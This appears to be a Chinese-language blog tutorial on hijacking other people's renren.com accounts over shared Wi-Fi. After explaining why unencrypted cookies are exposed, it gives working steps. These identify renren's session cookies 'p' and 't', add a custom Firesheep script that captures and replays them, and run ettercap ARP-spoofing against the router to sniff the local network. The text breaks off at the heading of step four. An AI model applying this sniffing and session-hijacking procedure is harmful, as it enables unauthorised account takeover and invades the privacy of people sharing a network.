一.首先还是介绍下劫持原理:
web验证通常分为如下几步,校内也是这样:
1.你登录renren.com输入用户名和密码,点登录
2.服务器对你提交的ID和密码进行验证,匹配后将一些独特的cookie返回给你的浏览器
3.你用你的人人发布状态,查看别人页面时,浏览器将首先发送cookie以向服务器表明身份
4.服务器完成cookie验证,完成你所期望的动作.
步骤上来看很完善,但是有一个底层的问题,那就是用户和服务器之间的通信是否加密,如果没有加密,那么第三方会很容易截取到用户的数据包,伪装成真实用户与服务器通信.
就人人网来说,安全做的就是一坨狗屎.
1.最最基本的要求是,网站应该对用户登录页面改用HTTPs进行通信,这时,你提交的用户名和密码会经过加密后传输给服务器,别人即使截取到你的数据包也无法看到你的用户名和密码.但是人人网没有,你输入的用户名和密码是明文发送给服务器的,不相信话你可以随便找个抓包软件看看.
2.不仅是用户登录需要加密,cookie发送也需要加密.在Firesheep发布之前,即使是Google,facebook这些网站也没有做到这一点.人人网更不用说了....这样,通过截取到别人的cookie,你就可以直接登录他人的校内了.这个就是本文将介绍的过程.
有个很自然的疑问,我在上网,别人怎么会获取到我的数据包呢?如果你用有线网的话当然问题不大,但是很多地方是大家通过一个无线路由器进行上网的,无线路由器在工作过程中会将数据包发散到整个空间中,任何一个网卡都可以获取这些数据.这就给某些人留下了机会.正常情况下,网卡会将不属于自己的数据包丢掉.但是可以利用特殊的软件保存那些本应该发送给别人的数据包,从中可以分析出相关的隐私数据,常见的工具就是pCap,在windows下叫做WinpCap.
这样,原理就清楚了:首先利用pCap一类工具截获别人的数据包;然后从中分析出他人的人人网cookie;然后就是直接登录别人的人人网.整个过程中并不需要知道用户名和密码.
二.环境说明:
Ubuntu10.10 Firefox3.6 Chrome10 Firesheep ettercap
解释:因为Windows对网卡进行了封装,所以抓包功能不如Linux和Mac强大,我首先在Windows7的系统上实验就失败了.
Firesheep是Firefox的一个插件,自然需要安装Firefox了.
Chrome用来分析网站的cookie信息.
Firesheep是主力,在Ubuntu10.10下的安装请参考
ettercap:协助抓包的软件,安装方法也在上面的链接中.
三.步骤:
1.分析renren.com的cookie
打开Chrome,安装名为Edit This Cookie的插件.之后登录你的人人网账户,点击Edit This Cookie的图标就可以看到renren.com给你返回的cookie内容.将这些cookie逐个删除,并做好记录,每删除一个就刷新一下页面,直到某次刷新后提示你重新登录为止.这就说明用于身份验证的cookie都被你删除过了,在删除过的cookie里面重新进行测试,直到确定具体是哪个用于身份验证为止.要注意的是,用于身份验证的可能不止一个,这就需要更复杂的配对测试了.
最终发现,renren.com用于身份验证的cookie有两个,名字分别是p和t.
Chrome可以关闭了.
2.配置Firesheep Script
打开Firefox,然后打开Firesheep的配置页面,找到website选项卡,点击add按钮添加一个新项,起名为renren,双击之,会出现一个js编辑页面.
将里面的内容替换为如下脚本:
register({ // FOR name: 'renren.com', //the name that will show up in the Firesheep sidebar url: 'http://www.renren.com/', //the website url that Firesheep will match on domains: [ 'renren.com' ], //the actual domain that Firesheep will look for in the request sessionCookieNames: [ 'p', 't' ], //a list of cookie key names that firesheep will intercept and send on //your behalf (this should be the list of cookies you noted in the previous step) identifyUser: function() { //Firesheep can make a request to discover some information about the cookie (username and avatar) for the buddy list var site = this.httpGet(this.siteUrl); //this will pull down a page that contains the value for the username and avatar this.userName = site.body.querySelector('a.name').innerHTML; //use a query selector to pull out the username from the page (optional) // this.userAvatar = resp.body.querySelector('div.figure').src; //another query selector to grab the image (optional) } });
其中 identifyUser: function()之前是用于配置cookie,设置url等工作,这些工作是必不可少的.
identifyUser: function()内部的this.UserName和this.userAvastar两条赋值语句是用于设置显示捕获到的cookie所对应的账户名和头像,直接注释掉也不影响工作.
替换完成后关闭即可.
3.设置ettercap
打开一个终端,输入
sudo ettercap -G
打开后依次执行如下菜单命令:
Sniffing > Unified sniffing
Hosts > scan hosts
这时,软件会搜索同一网段下的主机,搜索完成后继续执行:
Hosts > host list
在列表中,将路由器的地址设置为target 1,路由器的地址通常为192.168.1.1,target 2不必设置(根据我的实验,target 1和2都不设置也没关系)
勾选 MITM > arp XXXXXX > remote connection
start > start
此时,网卡就开始抓包了.
4.使用firesheep